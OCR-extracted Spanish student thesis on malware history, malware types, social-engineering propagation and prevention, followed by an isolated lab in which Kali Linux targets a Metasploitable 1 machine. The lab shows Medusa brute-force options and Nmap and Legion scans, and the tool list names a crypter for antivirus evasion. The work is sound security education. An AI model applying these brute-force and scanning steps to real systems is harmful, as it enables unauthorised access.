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Victor Pablo Prado Sanchez Estudio e investigacion de propagacion de malware
Resumen

El malware se trata un programa malicioso que tiene como principal objetivo
invadir, dafar o deshabilitar diferentes dispositivos con el unico fin de obtener
informacidn de la victima. En la actualidad, cada vez hay mas ciberataques de este tipo,
lo que se debe sobre todo a la evolucion de la tecnologia y la existencia de nuevas
vulnerabilidades.

En este trabajo estudiaremos e investigaremos la propagacion de diferentes
malwares existentes, diferentes tipos, su formacidn, sus objetivos, consecuencias y
contramedidas. Ademads, intentaremos mostrar por medio de diferentes herramientas
como es y como se lleva cabo la propagacion del malware.

Palabras clave: malware, ciberseguridad, ciberdelincuente, propagacion.

Abstract

Malware is a malicious program whose main objective is to invade, damage or
disable different devices with the sole purpose of obtaining information from the victim.
Nowadays, cyberattacks of this type are increasing, which is mainly due to the evolution
of technology and the existence of new vulnerabilities.

In this paper we will study and investigate the spread of different existing
malwares, different types, their formation, their targets, consequences and
countermeasures. In addition, we will try to show by means of different tools how the
malware propagation is and how it is carried out.

Keywords: malware, cybersecurity, cybercriminal, propagation.
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1.1

1. Planteamientos y objetivos

Objetivos

El objetivo principal de este trabajo es realizar un entorno de pruebas para la

creacién y propagacion de malware en algun equipo. Por ello, serd necesario simular
una situacién en el que tengamos un equipo que actiue como atacante y otro como
victima, para sacar la maxima informacion posible.

Para cada tipo de herramienta que se va a utilizar, se va a estructurar cada parte

de la siguiente manera:

1.2.

Instrumentos empleados: donde se tratardn las diferentes herramientas, los
distintos equipos y entornos usados.

Puesta en escena: describiremos cémo y de qué forma se llevard a cabo el
lanzamiento de las herramientas empleadas.

Desarrollo de la propuesta: se desplegard y analizard en profundidad las
herramientas a utilizar y las opciones disponibles en ellas. A su vez, se mostraran
diferentes capturas de pantalla donde se vera reflejado todo el trabajo realizado
de forma secuencial.

Conclusiones detalladas: nos encargaremos de analizar bien todo el conjunto de
pruebas y resultados obtenidos, para de esta forma obtener informacién clara
acerca del objetivo.

Planteamientos

En este proyecto se van a usar varias herramientas con las cuales se analizaran

la propagacion del malware con el fin de poder mostrar diferentes métodos de difusién
e inyeccion. También se va a intentar reflejar de qué forma actuaria una victima en cada
casuistica a analizar. Las herramientas que se van a usar son las siguientes:

v" Medusa: herramienta que sirve para realizar ataques de fuerza bruta por medio

de diccionarios de caracteres, es decir, a crackear contrasenas con diccionarios
mediante el método de ensayo y error.

Social Engineering Toolkit (SET): se trata un framework de open source/cddigo

abierto impulsada por Python destinada a las pruebas de penetracion de
sistemas y redes en torno a la ingenieria social.

11
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v

The Browser Exploitation Framework (Beef-Xss): se trata de un framework que
examina la vulnerabilidad (prueba de penetracion) dentro del contexto de la
Unica puerta abierta: el navegador web.

Msf payload creator (Msfpc): se trata de un wrapper para generar multiples
tipos de payloads, basados en la eleccidon del usuario. El objetivo final es la
completa automatizacion de msfvenom y Metasploit (asi como ser capaz de
automatizarse a si mismo).

Metasploit-Framework: es una plataforma de codigo abierto que admite la
investigacion de vulnerabilidades, el desarrollo de exploits y la creacién de
herramientas de seguridad personalizadas.

Crypter: es un software escrito en python 3, que se puede usar para ofuscar,
encriptar el cédigo fuente de python para eludir AntiVirus. También es capaz de
omitir maquinas virtuales como VirtualBox, VMware, Sandboxie.

Nmap: se trata de un software de cddigo abierto que se utiliza para explorar
redes y obtener informacién acerca de los servicios, sistemas operativos y
vulnerabilidades con el objetivo de obtener informacion.

Legion: es una herramienta que se utiliza para analizar las aplicaciones web y las
redes para descubrir vulnerabilidades que los hackers podrian explotar.

Nessus: es un programa de escaneo de vulnerabilidades en diversos sistemas

operativos, donde realizando las determinadas configuraciones, se nos muestran
todas las vulnerabilidades del dispositivo de la direccion IP que le asignemos.

Se van a utilizar todas esas herramientas con el fin de poder ver como se realizan

todos los tipos de propagacidn y conseguir obtener la informacién pertinente del
dispositivo de una persona.
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2. El malware

A la hora de plantear el concepto de malware, se nos vienen a la cabeza
diferentes nociones, percepciones y opiniones sobre el término; es por ello por lo que
desglosaremos desde sus inicios hasta la actualidad analizando punto por punto
(historia, tipos, consecuencias, contramedidas...) de lo que se trata el malware.

2.1. Qué es el malware

Para definir el concepto de malware debemos conocer el término en castellano,
el cual se refiere a software/programa malicioso.

Este se trata de un programa el cual se ejecuta en el equipo del usuario/victima,
con el desconocimiento de esta donde el programa realiza diversas funciones
(problemas en el funcionamiento de los equipos o robar informacién) que son
perjudiciales para el sistema.

2.2. Historia del malware

Para conocer en detalle el malware hay que retroceder en el tiempo y ver su
punto de partida y como surge.

2.2.1. Primeras nociones

Nos remontarnos historicamente hasta el afio 1966, donde el cientifico John von
Neumann publicd |la Teoria del automata autorreplicante; esta teoria se fundamentaba
en que los ordenadores con su evolucién llegarian a comportarse y mostrar similitudes
con el sistema nervioso humano.

Sin ser una definicién completa a lo que es un malware, Neumann fue el que mas
se acerco a este término, ya que postulaba la nocidn de autorreplicacién de los equipos
tras el paso del tiempo.
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2.2.2. El primer malware y antimalware

Con la sucesion del paso de los afios, en 1971, llegaria el primer malware en
existir, este se trataba de un gusano, el cual se hacia llamar Creeper; su funcionabilidad
consistia en la capacidad de propagacidn a otros ordenadores por medio de conexiones
locales.

Creeper fue desarrollado por Bob Thomas, y a ciencia cierta, lo que sucedia tras
la “infeccidon” de los diferentes equipos de las victimas era la aparicidn del siguiente
mensaje por pantalla: “I'M THE CREEPER: CATCH ME IF YOU CAN”, es decir, “SOY
CREEPER: ATRAPAME SI PUEDES” .

Pongo “infeccién” debido a que Unicamente el gusano se basaba en mostrar el
mensaje comentado anteriormente por pantalla. En conclusidn, el malware no causaba
ninguna anomalia al sistema.

BBN-TENEX 1.25, BBN EXEC 1.390
@FULL

@LOGIN RT

JOB 3 ON TTY12 ©08-APR-72

YOU HAVE A MESSAGE

@SYSTAT

UP 85333219 3 JOBS

LOAD AV 387 295 2.14

JOB TTY USER SUBSYS
1 DET SYSTEM NETSER
2 DET SYSTEM TIPSER
3 12 RT EXEC

[C)

I'M THE CREEPER ¢ CATCH ME IF YOU CAN

Figura 1: Mensaje tras la infeccion de Creeper.

Un tiempo después, Ray Tomlinson decidio hacer diferentes pruebas a Creeper,
de este modo, llevd a cabo la funcionalidad de autorreplicacion ademds de dejar una
copia en el equipo antes de pasar al otro dispositivo. Ante ello, el propio Ray, decidié
contrarrestar esta nueva caracteristica para evitar su expansion, de esta forma
desarrolld otro “malware”, Reaper.

Reaper se convirtid en el primer antivirus creado debido a que su labor se basaba
en detectar los equipos infectados con Creeper y eliminar el malware.

De esta forma, Ray Tomlinson y Bob Thomas tienen una papeleta de suma
importancia en el mundo del malware, debido a que gracias a ambos se generaron el
primer antimalware y malware; sin olvidarnos de John von Neumann con sus primeras
nociones de autorreplicacién y evolucion de los ordenadores.
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2.2.3. Otros malwares de los inicios

A raiz de Creeper y Reaper fueron surgiendo mas malware, pero a mayor escale
y con mejor funcionabilidad a nivel de problematica para los equipos.

Comenzamos con Elk Cloner, creado por Rich Skrenta que era programa que
tenia como victima los ordenadores Apple Il; la infeccién se lleva a cabo por medio de
disquetes. El malware, infectaba al equipo tras conectar el disquete y este provocaba su
contagio tanto al equipo como a otros disquetes también conectados en él.

En verdad, lo que provocaba era el bloqueo de la pantalla y la apariciéon de un
mensaje: Elk Cloner: “The program with a personality. It will get on all your disks. It will
infiltrate your chips. Yes, it's Cloner! It will stick to you like glue It will modify RAM too.
Send in the Cloner!”, es decir, “Elk Cloner: El programa con personalidad. Se colard en
todos tus discos. Se infiltrard en tus chips. jSi, es un clonador! Se te pegard como una
lapa. También modifica la RAM. jEnviad el Cloner!”.

THE PROGRAM WITH & PERSONALITY

i

GLUE

Figura 2: Mensaje tras la infeccion de Elk Cloner.

Sin embargo, no es hasta 1986 cuando se detecta el primer malware completo
en Windows, este software malicioso es creado por Basit Farooq Alvi y Amjad Farooq
Alvi, y lo denominaron Brain.

Brain provocaba que los equipos y disquetes se ralentizasen, ya que tenia un gran
peso en memoria. Ademas, este tenia la capacidad de rastrear y ver los dispositivos que
se encontraban bajo su funcionamiento.

Entrando ahora bien en malware que provocé una gran cantidad de problemas,
tenemos a Vienna, que cuando infectaba a un dispositivo, dafiaba los datos y destruia
archivos a los dispositivos DOS.
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Mds tarde aparecid el primer ramsomware, el troyano AIDS creado por Joseph
Popp, que provocaria una gran revolucion. Cuando un equipo contenia AIDS, este
contenia un contador de las veces que se iniciaba el dispositivo y cuando llegaba al
numero 90 de inicios, llevaba a cabo la ocultacion de todos los archivos y mostraba que
se debia proceder al envio de una carta con 189 ddlares a una direccién que se
especificaba con el fin de “renovar la licencia”.

Dear Customer:

It is time to pay for your software lease from PC Cyborg Corporation.
Complete the INUODICE and attach payment for the lease option of your choice.
If you don’t use the printed INUOICE, then be sure to refer to the important
reference numbers below in all correspondence. In return you will receive:

- a renewal software package with easy-to-follow, complete instructions:
- an automatic, self-installing diskette that anyone can apply in minutes.

Important reference numbers: AS599796-2695577-

The price of 365 user applications is US$189. The price of a lease for the
lifetime of your hard disk is US$378. You must enclose a bankers draft,
cashier’s check or international money order payable to PC CYBORG CORPORATION
for the full amount of $189 or $378 with your order. Include your name,
company, address, city, state, country, zip or postal code. Mail your order
to PC Cyborg Corporation, P.0. Box 87-17-44, Panama 7, Panama.

Press ENTER to continue

Figura 3: Mensaje tras la infeccion de AIDS.

Otro, que tuvo gran repercusion, fue en 1992, el gusano Michelangelo, que
provoco millones de victimas. Su funcionabilidad consistia en infectar equipos mediante
disquetes, y el 6 de marzo (cumple del pintor Miguel Angel) se activaba y destruia al
completo el dispositivo.

Por ultimo, hablaremos de Melissa, primer ataque de ingenieria social llevado a
cabo en 1999 mediante el engafio via mensajes de correo electrénico. Este, se
propagaba a si mismo, enviando mensajes a los contactos de la victima infectada.

Se basaba en enviar correos con un documento adjunto que contenia 80 webs
de pornografia con las credenciales correspondientes para acceder a cada sitio. Ademas,
era capaz de coger archivos del equipo de la victima, infectarlos y enviarles estos
archivos a los contactos.

Con Melissa, se dio paso a ILOVEYOU, que, basandose en su funcionalidad,
mejoré caracteristicas, donde era capaz de robar credenciales, IPs... Y se las enviaba a si
mismo.

Con ello podemos observar que desde 1971 el malware ha ido evolucionando a
gran escala hasta dia de hoy.
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2.3. Tipos de malware

Dependiendo del comportamiento y forma de actuar del malware podemos
llevar a cabo establecer diferentes tipos.

2.3.1. Virus

Los virus se tratan de un software malicioso que tiene con funcionalidad crear
copias de si mismos, autorreplicarse, causando problemas como la ralentizacién y
bloqueo en los sistemas en los que se encuentran inyectados; estos se suelen almacenar
en programas legitimos del usuario o bien, en zonas especiales de almacenamiento
(discos duros, sistemas de almacenamiento externo...).

Para su infeccidn, necesitan al usuario, séase por medio de correos electrénicos,
pendrive, discos duros externos, paginas webs... Dentro de los virus, encontramos una
derivacion, se trata del gusano.

6,43%
9,31%
W Troyanos
® Gusanos
® Virus
m Adware / Spyware

m Otros

Figura 4: Informe Trimestral 2012 de Pandalabs sobre muestras de malware creadas.

El gusano es un virus, por lo que tiene todas las propiedades de este, pero su
propagacion viene dada por medio de redes de comunicaciones (mensajeria instantanea
e intercambio de ficheros: P2P) sin la necesidad del usuario.

2.3.2. Troyanos

Otro tipo de programa maligno, son los troyanos, cuyo objetivo se basa en
ocultarse en programas legitimos, y que cuando este se ejecute, permitir al atacante
tener el control del dispositivo infectado.
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La forma de propagacion de los troyanos depende del usuario, ya que este debe
descargar e instalar el software donde se encuentran estos de forma oculta. Hoy en dia
son el malware mas utilizado por los ciberdelincuentes en la actualidad para obtener de
la victima credenciales, datos bancarios... Por ello, los troyanos tienen varias
derivaciones: ransomware, backdoors, keyloggers y stealers.

En primer lugar, tenemos los backdoors “puerta trasera”, este tipo de troyano
permite el control total remeto del atacante a la maquina que se encuentra infectada;
con ello, se podria llevar a cabo y desempenfiar cualquier tipo de tarea.

El ransomware, de los mas conocidos debido a sus multiples ataques en la
actualidad. Este troyano se crea con la finalidad de tomar el control completo del equipo
y tras ello, bloquear y robar toda la informacién que esta salvaguarda. Conllevando de
esta forma, a cifrar todo el contenido del dispositivo dejandolo completamente
inhabilitado.

812.67

2009 2010 2011 2012 2013 2014 2015 2016 2017 2018

Total Malware Infection Growth Rate (In Millions)

Figura 5: Tasa de crecimiento total de infecciones de malware (en millones) via PurpleSec.

Por ello, este tipo de software malicioso, cuando infectan y completan todos sus
objetivos, muestran por pantalla X mensaje con el fin de obtener una recompensa
econdmica y de esta forma liberar todo el contenido del equipo.

Los keyloggers son el tipo de troyano que almacena y registran la informacién
que transmite el usuario mediante las pulsaciones de teclado que realiza. Por medio de
este malware se puede obtener toda la informacién que la victima escriba: credenciales,
datos bancarios...

El dltimo tipo de troyano se trata de los stealers, este programa maligno una vez
es propagado al equipo lleva a cabo la funcién de extraccién de toda la informacién
privada de la victima (credenciales que se almacenan en navegadores, correo
electrdnico...) y es entregada al atacante.
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2.3.3. Spyware

Encontramos otro tipo de malware, en este caso el spyware; este programa se
encarga de recoger y recolectar toda la actividad e informacién perteneciente al usuario
en el equipo que se encuentra infectado.

Los spywares son programados para no ser detectados por las victimas, de este
modo, estos no son capaces de darse cuenta de que se encuentran infectados. Cuando
mas tiempo lleve inyectado el programa maligno, mas informacion sera capaz de
recolectar y enviar al atacante.

Los atacantes reciben toda la informacion de la victima mediante correo
electrénico o por medio de servidores.

2.3.4. Adware

Por ultimo, encontramos el adware. Este tipo de malware tienen la funcién de
mostrar publicidad al usuario y un empeoramiento en el comportamiento del dispositivo
infectado; con ello, lo que consiguen es obtener informacion sobre la actividad que la
victima lleva a cabo.

= Troyanos

m Gusanos

® Virus

m Adware / Spyware

m Otros

Figura 6: Informe Trimestral 2012 de PandalLabs sobre muestras de infecciones por tipo de malware.

De la forma que se inyectan en los dispositivos, se trata a través de la descarga e
instalacion de programas legitimos donde se encuentran albergados de forma oculta.

A manera practica, los adwares son los tipicos anuncios que nos aparecen cuando
realizamos busquedas en los navegadores, asi como los pop-ups/ventanas emergentes
con videos, imagenes, audios...

Incluso son capaces de intercambiar el buscador por defecto del usuario,
provocando errores en las busquedas y dificultando la navegacién de la victima.
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2.4. COmo se propaga el malware

La propagacion del malware es uno de los factores mas destacados para tener
en cuenta, ya que debemos saber cémo y de qué forma son capaces de propagarse e
infectar los equipos y sistemas electronicos.

2.4.1. Ingenieria social

La ingenieria social se trata de técnicas basadas en persuasidon y engaiio a los
usuarios con el Unico y mero fin de obtener informacién sensible de estos. Con ello, la
victima es inducida a actuar de la forma que el atacante de forma oculta le indique.

Detecciones por mes

Figura 7: Comparacion de detecciones de ataques de ingenieria social entre 2019 y 2020 de welivesecurity.

Esta técnica tiene su simil y semejanza con la picaresca, esto se debe a que los
atacantes se ganan la confianza de la victima y con ello son capaces de conseguir lo que
se propongan bajo su manipulacién.

Las acciones que suelen pedir los atacantes se tratan de indicaciones de descarga
de programas, redireccion a paginas webs fraudulentas, obtencidn de credenciales...
Todo ello encubierto como legitimo para que la victima no pueda sospechar ninguna
anomalia al respecto.
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El uso de la ingenieria social tiene diversos canales de uso, pero el que mas
predomina es el uso del correo electrénico (envio de correos masivos) = phishing;
también existen otras vias como llamadas telefénicas = vishing = pretexting,
aplicaciones de mensajeria = smishing, redes sociales...

ATAQUES DE INGENIERIA SOCIAL

PRETEXTING PHISHING

DUMPSTER DIVING SMISHING

t

SHOULDER SURFING 0 VISHING
BAITING SEXTORSION

@ LISA Institute

Figura 8: Tipos de ataques de ingenieria social via LISA Institute.

En la propagacion del malware hemos de tener muy presente la ingenieria social,
ya que esta técnica es propensa a ser empleada por los atacantes para propagar los
diferentes programas maliciosos.

Los troyanos, en concreto los ransomware son muy usados por medio del envio
de correos masivos con uso del correo electrénico = phishing.

2.4.2. Formas de propagacion del malware

Después de analizar una de las técnicas mas conocidas a la hora de propagar el
malware, ahora veremos los métodos y vias en la que este se distribuye.

En primer lugar, tenemos las paginas webs maliciosas, estas esperan a que el
usuario visite su domino y una vez dentro dependiendo de sus vulnerabilidades en el
navegador (no estd en su ultima version, diferentes plugin instalados...) consiguen
inyectar al usuario su software malicioso.

La descarga de ficheros también es una via directa a la hora de inyectar malware,
este motivo causa efecto cuando el usuario va a descargarse programas legitimos en
sitios no oficiales; por ello, cuando el sitio no es oficial, el programa es propenso a que
tenga camuflado algin malware.
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Por otro lado, el correo electrénico es otra forma de propagacién ya que los
mensajes pueden contener adjuntados diferentes ficheros infectados o hipervinculos
que redirijan a sitios webs maliciosos.

Los dispositivos de almacenamiento externos, asi como pendrives, discos duros,
tarjetas de memoria... El malware se encuentra inyectado en estas unidades de
almacenamiento y con que el usuario introduzca el dispositivo en su equipo principal ya
es capaz de propagarse.

Por ultimo, es meramente importante estar atentos a las posibles
vulnerabilidades que contienen los programas o nuestros equipos que pueden conllevar
a que un usuario no legitimo acceda o realice diferentes operaciones en él.

2.5. Consecuencias del malware

A lo largo de los puntos anteriores hemos ido dando diferentes motivos y
consecuencias que pueden conllevar la infeccién de diferentes malwares en los
dispositivos. Ahora bien, haremos una sintesis con las consecuencias mas comunes que
se suelen dar cuando nos vemos infectados por ellos.
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Figura 9: Andlisis del volumen global del malware entre 2020y 2021 via SonicWall.

La primera consecuencia a la que podemos ver afectados se trata del robo de
datos y de informacion de nuestros equipos. En la actualidad, los atacantes buscan este
objetivo con la programacion de sus softwares maliciosos.

Con ello, son capaces de poder obtener informacién de alta utilidad al tratarse
de confidencial, tales como credenciales, documentos, informes, datos bancarios...
Conllevando incluso a derivar en pérdida de privacidad, suplantacién de identidad,
comision de delitos en nuestro nombre o pérdidas econédmicas.
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Otra consecuencia de suma importancia es el cifrado y borrado de la
informacion de los equipos. Algos malwares como hemos visto tienen la funcionabilidad
de eliminar o cifrar toda la informacién personal, desde imagenes o videos, hasta
documentos...

Una vez infectados por estos programas maliciosos lo mas probable es no
recuperar la informacidn a no ser, o bien que paguemos la recompensa econémica que
nos solicitan o que tengamos una copia de seguridad de nuestro equipo.

En el parrafo anterior comentabamos el tema de la recompensa econdmica, esta
es otro tipo de consecuencias de los malwares. Los atacantes también tienen en sus
principales objetivos obtener beneficios econdmicos a costa de las victimas a las que
propagan estos softwares.

siNncibe _

INSTITUTO NACIONAL DE CIBERSEGURIDAD

De Banca Online <r a®fr u fis ~ .com> @} \
Nuevo protocolo de acceso a oficinas CaixaBank / 228 |

€ CaixaBank

Estimado cliente,

con motivo del estado de alarma se ha actualizado el protocolo
de actuacion en todas las oficinas.

Hemos implementado los procedimientos electrénicos y administrativos para

proteger y ayudar a prevenir el acceso no autorizado.
Para evitarlo debes entrar en el siguiente enlace y seguir pasos indicados:

https://www.caixabank.es/particular/home/

Si la verificacion no se realiza dentro de 24 hora su cuenta sera suspendida
temporalmente hasta que su registré se haya completado.

Este es un mensaje automdtico. Gracias por confiar en nosotros.
Equipo de Atencidn al Cliente Caixabank

Figura 10: Ejemplo de robo de datos bancario a clientes de CaixaBank en 2020 mediante phishing.

También pueden obtener nuestros datos bancarios y realizar desde
transferencias bancarias, compras por internet o hacer una duplicacién de tarjeta en
formato fisico.

Por ultimo, debemos destacar la suplantacién de identidad tanto en el mundo
fisico como en el digital. Si detectamos alguna sospecha de suplantacién debemos de
ponernos en contacto con las Fuerzas y Cuerpos de Seguridad del Estado (FCSE).
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2.6. Proteccion ante el malware

Tras analizar los tipos de malware, las formas de propagacion y las consecuencias
mas comunes de estos programas maliciosos que son liderados por diferentes
ciberdelincuentes/cibercriminales, toca ver cdmo podemos protegernos ante este
fenémeno.

2.6.1. Hacker vs Ciberdelincuente

Antes de ver las formas de proteccidn, quiero destacar dos términos que son

completamente diferentes y que la gente normalmente suele confundir. Se trata de
hackers y ciberdelincuentes/cibercriminales. Anteriormente hacia referencia a esta
persona como atacante y al usuario como victima, pero ahora bien vamos a detallar bien
las diferentes concepciones que estos tienen.

Figura 11: llustracion que muestra el bien (hacker) y el mal (ciberdelincuente) via dannypid.

Un hacker, es conocido en la sociedad como el lado oscuro de la tecnologia y que
tienen diferentes técnicas para provocar problemas con la seguridad. Esto no es asi, un
hacker se trata en una persona que tiene diferentes competencias en términos de
ciberseguridad y es capaz de paliar, detectar y actuar ante los malos.

Y quiénes son los malos, bien, el lado oscuro lo llevan a cabo los
ciberdelincuentes/cibercriminales; estos son las personas que a través de diferentes
técnicas como la ingenieria social y propagacién de malware intentan obtener todo lo
mencionado anteriormente como consecuencia de la infeccién del malware.
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2.6.2. Medidas preventivas

Ahora bien, profundizaremos sobre las medidas que podemos tomar para que
no nos infecte un malware nuestro equipo.

La primera medida se trata del sentido comun, hemos de ir con vista y cabeza a
la hora de actuar, ya sea cuando vayamos a descargar un software legitimo, hacerlo en
webs oficiales, no abrir ni descargar nada de correos que no conozcamos y que sean
peculiares... Es una técnica que depende de cada persona pero que hemos de tener en
cuenta.

La realizacion de los famosos backups/copias de seguridad de nuestros equipos
o de lainformacién con mayor criticidad a nivel importancia cada cierto tiempo, para asi
poder recuperarla una vez que nos cifren el equipo y nos pidan una recompensa por
reestablecerla.

Llevar a cabo las diferentes actualizaciones que surjan en los equipos,
navegadores y programas. De esta forma evitamos y solventamos cualquier
vulnerabilidad que pueda producirse al no estar en su Ultima version, y por consiguiente,
cerramos otra puerta de seguridad.

Para finalizar, tener bien securizado el equipo mediante antimalware/antivirus
y firewall/cortafuegos para de esta forma notificarnos si detectan algun tipo de
anomalia en el dispositivo.
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3. Propagacion del malware, puesta en escena

En este apartado analizaremos y llevaremos a cabo el despliegue y andlisis de
diferentes herramientas de propagacién del malware y, por ultimo, la realizaciéon de un
informe de auditoria sobre una maquina vulnerable.

Este tipo de analisis y despliegues se han llevado a cabo en entornos virtuales,
para evitar cualquier tipo de percance en el equipo habitual. En cada apartado se
especificaran los instrumentos empleados (entornos, maquinas y herramientas).

3.1. Medusa: fuerza bruta

En primer lugar, hay que destacar que la herramienta Medusa
sirve para realizar ataques de fuerza bruta por medio de diccionarios
de caracteres, es decir, a crackear contrasefias con diccionarios
mediante el método de ensayo y error.

3.1.1. Instrumentos empleados

Entorno virtual: VMWare
Mdquina atacante: Kali Linux
Mdquina vulnerable: Metasploitable 1

Herramientas:

e Medusa
e Nmap
e Legion

3.1.2. Puesta en escena de Medusa

Para el despliegue de la herramienta Medusa, hemos optado por lanzarla en
entorno virtual tanto para la maquina atacante como la vulnerable.

Asuvez, se han empleado las herramientas de Nmap y Legion para poder realizar
la fase de escaneo de la maquina vulnerable Metasploitable 1.
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3.1.3. Medusa: el entorno

Estudio e investigacion de propagacion de malware

Nos descargamos la herramienta de Medusa, la lanzamos y vemos en la shell

informacién importante; donde nos muestra las opciones disponibles dentro de esta.

s

File Actions Edit View Help

$ medusa -h
Medusa v2.2 [http:// foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

medusa: option requires an argument — 'h’'
CRITICAL: Unknown error processing command-line options.
ALERT: st information must be supplied.

Syntax: Medusa [-h hostiH file] [-u usernamelU file] [-p passwordP file] [-C file] -M module [OPT
1
-h [TEXT] : Target hostname or IP address
-H [FILE] : File containing target hostnames or IP addresses
-u [TEXT] : Username to test
-U [FILE] : File containing u ames to test
-p [TEXT] : Password to test
-P [FILE] : File containing passwords to test
-C [FILE] : File containing combo entr . See README for more information.
-0 [FILE] : File to append log information to
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
[TEXT] : Name of the module to execute (without the .mod extension)
[TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Paraml -m Par etc.)
Dump all known modules
[NUM] : Use for non-default TCP port number
Enable SSL
[NUM] : Give up after trying to connect for NUM seconds (default 3)
r [NUM] : Sleep NUM seconds between retry attempts (default 3)
[NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
[NUM] : Time to wait in usec to verify socket is available (default 500 usec).
[NUM] : Total number of logins to be tested concurrently
[NUM] : Total number of hosts to be tested concurrently
Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.
Stop scanning host after first valid username/password found.
Stop audit after first valid username/password found on any host.
Suppress startup banner
Display module's usage information
[NUM] : Verbose level [0 - 6 (more)]
[NUM] : Error debug level [0 - 10 (more)]
version
[TEXT] : Resume scan based on map of previous scan

Figura 12: Opciones disponibles dentro de la herramienta Medusa.

A su vez, podemos observar, con el comando -d, los diferentes modulos vy
servicios disponibles dentro de la aplicacion.

Available modules in

kali@kali: ~

File Actions Edit View Help

-Z [TEXT] : Resume scan based on map of previous scan

Medusa v2.2 [http:// .foofus.net] (C) JoMo-Kun / Foofus Networks <jmkafoofus.net>

Available modules in "/usr/lib, -linux-gnu/medus.

+ cvs.mod : Brute force module for CVS sessions
+ ftp.mod Brute force module for FTP/FTPS sessions : version 2.1
+ http.mod : Brute force module for HTTP : version 2.1
imap.mod Brute force module for IMAP sessions : version 2.0
mssql.mod Brute force module for M$-SQL ssions version
mysql.mod : Brute force module for MySQL sessions : version 2.0
nntp.mod : Brute force module for NNTP sessions version 2.0
pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
pop3.mod Brute force module for POP3 sessions ersion 2.0
postgres.mod Brute force module for PostgreSQL sessions : version 2.0
rexec.mod : Brute force module for REXEC sessions : rsion 2.0
rlogin.mod : Brute force module for RLOGIN sessions version 2.0
rsh.mod : Brute force module for RSH sessions : version 2.0
smbnt.mod : Brute force module for SMB (L /NTLMv2) sessions : version 2.1
smtp fy.mod : Brute force module for verif XPN/RCPT TO) : version 2.

smtp.mod : Brute force module for SMTP Authentication with TLS version [}
snmp.mod : Brute force module for SNMP Community Strings : version 2.1
ssh.mod : Brute force module for SSH v2 sessions ersion 1

svn.mod : Brute force module for Subversion sessions : rsion 2.1

net.mod : Brute force module for telnet sessions : version

vmauthd.mod : Brute force module for the VMwa Authentication Daemon
vnc.mod : Brute force module for VNC sessions ersion 2

eb-form.mod : Brute force module for web forms : version 2.1
wrapper.mod : Generic Wrapper Module : version 2.0

Figura 13: Diferentes mddulos y servicios de Medusa.
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3.1.4. Metasploitable 1: deteccidn de vulnerabilidades

Nuestro host para analizar se trata del Metasploitable 1 (maquina vulnerable).
El primer paso para realizar es abrir la maquina Metasploitable 1, poner las
determinadas credenciales de acceso y una vez hayamos accedido a la maquina seguir

dos pasos:

e 1:Buscar la direccién IP del host mediante el comando ifconfig.

e 2: Guardar la direccion IP del host.

http:sshelp.ubuntu.con/

No mail.

nsfadmin@metasploitable:™5 ifcongig

—bash:

ifcongig: command not found

nsfadmin@metasploitable:™5 ifconfig

etho

Link encap:Ethernet HUWaddr 00:0c:29:51:5c:6b

inet addr:192.168.208.134 Bcast:192.168.208.255 MHask:255.255.255.0
inet6 addr: feB0O::20c:29ff :fe51:5c6bbrs64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

EX packets:54 errors:0 dropped:® overruns:® frame:0

TX packets:65 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:56056 (4.9 KB) TX bytes:691Z2 (6.7 KB)

Interrupt:16 Base address:0xZ2000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1-1Z8 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 Metric:1

R¥X packets:4Z2 errors:0 dropped:0 overruns:0 frame:0Q
TX packets:4Z errors:0 dropped:0 overruns:0 carrier:0
collisions:® txgqueuelen:0

RX bytes:20645 (20.1 KB) TX bytes:20645 (Z20.1 KB)

nsfadmin@metasploitable:™5 _

Figura 14: Mdquina Metasploitable 1 con el comando ifconfig.

Ahora bien, debemos de acceder a la maquina virtual de Kali Linux (mdaquina

atacante).

Como queremos escanear el host y, ademas, obtener su sistema operativo;
mediante el comando nmap, -sV (identifica servicios y versiones) y la direccion IP del
Metasploitable 1 tenemos acceso a la informacion de:

e Los puertos que se encuentran abiertos.
e Los estados “open”/abiertos en los que se encuentran los puertos detectados.

e Los servicios asignados en los que se encuentran los puertos detectados.

e Las versiones asignadas en referencia a los servicios asignados a cada puerto

detectado.
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i

kali@kaliz ~

File Actions Edit View Help

Nm an

Host is up
Not shown:
PORT STATE

open

open

open elne i d

open smtpd

open 9.4.2
open
open
open

Apache httpd

nba smbd 3
amba smbd

open
open
open
open

Host:

detection performed.

1 IP address (1 host up

inned in

Unix,

Linux; CPE: ¢

Figura 16: Fase de escaneo de vulnerabilidades respecto a la mdquina Metasploitable 1 mediante Nmap.

De forma siguiente, vamos a emplear otra herramienta para para analizar y
mostrar la lista con los servicios y versiones de los puertos abiertos, se trata de Legion.
Realizaremos el paso de obtencion de la direccidn IP de nuestro dispositivo de la misma
forma que lo realizamos anteriormente.

# LEGIONO.3.7

File Help

scan | Brute
Hosts | Services  Tools Services | Scripts  Information | CVEs | Notes screenshot (80jtcp) Xl | smip-enum-vrfy (25/tcp) X | mysql-default (3 |+
CS| o=t Port Protocol State Name Version
°oun  w v prortro 121
® 22 tep open ssh OpenS5H 4.7p1 Debian 8ubuntul (protocol 2.0)
® 23 tep open telnet Linux telnetd
@ 25 tep open smip Postfix smtpd
® 53 tep open domain I5C BIND 9.4.2
® 80 tp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-P...
® 137 udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
©@ 139 tep open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
@ 445 tep open netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
@ 3306 tep open mysql MySQL 5.0.51a-3ubuntus
® 3632 tp open distced distced v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
©@ 5432 tep open postgresql PostgreSQL DB 8.3.0 - 8.3.7
© 8009 tep open ajpl3 Apache Jserv (Protocol v1.3)
@ 8180 tep open http Apache Tomcat/Coyote JSP engine 1.1
A %] |G
